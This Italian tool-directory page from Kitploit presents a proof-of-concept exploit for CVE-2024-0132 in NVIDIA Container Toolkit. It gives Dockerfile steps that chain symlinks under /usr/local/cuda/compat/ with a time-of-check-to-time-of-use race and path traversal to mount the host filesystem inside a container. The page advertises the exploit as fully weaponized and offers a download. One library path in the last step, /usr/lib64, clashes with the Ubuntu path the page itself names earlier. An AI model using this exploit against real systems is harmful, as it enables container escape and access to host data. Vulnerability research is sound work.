Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-0132 — CVE-2024-0132 – Exploit completamente armato per NVIDIA Container Toolkit | Kitploit
Strumenti/GitHubGitHub/r0binak/cve-2024-0132
Escalation di PrivilegiSicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitSicurezza CloudEscape dal Container
GitHubr0binak/cve-2024-0132

CVE-2024-0132

CVE-2024-0132 – Exploit completamente armato per NVIDIA Container Toolkit

Vedi Repository
6131 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-0132

PoC di CVE-2024-0132

Iniziamo scegliendo un'immagine di base. La disposizione delle librerie nel sistema dipende da quale sarà. Ad esempio, per alpine sarà /usr/lib64/, per ubuntu sarà /usr/lib/x86_64-linux-gnu. Useremo ubuntu come immagine di base.

root@kitploit:~
FROM ubuntu

Il Container Toolkit di NVIDIA verifica le librerie in /usr/local/cuda/compat/ all'interno del container e poi le monta nella directory principale delle librerie, che per questa immagine (ubuntu) sarebbe /usr/lib/x86_64-linux-gnu.

Vengono montati anche i link, quindi puoi montare qualsiasi file e directory dall'immagine a /usr/lib/x86_64-linux-gnu. Questo verifica che il link venga risolto all'interno del container; non può utilizzare più ../ per il path traversal. Tuttavia, questo può essere aggirato utilizzando il mount nel container tramite /usr/local/cuda/compat/ due volte, da cui TOCTOU.

Leggi di più sul meccanismo di montaggio da /usr/local/cuda/compat/:

  • https://github.com/NVIDIA/libnvidia-container/blob/4c2494f16573b585788a42e9c7bee76ecd48c73d/src/nvc_container.c#L61
  • https://github.com/NVIDIA/libnvidia-container/blob/4c2494f16573b585788a42e9c7bee76ecd48c73d/src/nvc_mount.c#L768
root@kitploit:~
RUN mkdir -p /usr/local/cuda/compat/

Crea due directory:

  1. La directory originale conterrà un file regolare con il contenuto di test
root@kitploit:~
RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
  1. La seconda directory con lo stesso nome conterrà un link con path traversal invece di un file.
root@kitploit:~
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs

Il nome libdxcore.so è scelto per soddisfare i filtri. La versione major (1337) deve essere diversa dalla versione reale del driver.

Crea due link in /usr/local/cuda/compat/:

  1. Il primo link sostituirà i contenuti della directory originale /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ con /pwn/libdxcore.so.1337/
root@kitploit:~
RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
  1. Il secondo link monta /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs su /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs. Durante il controllo sarà un file normale, ma al momento del mount sarà un link che si trovava in /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs, quindi il filesystem dell'host verrà montato in /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/.
root@kitploit:~
RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2
Scarica lo strumento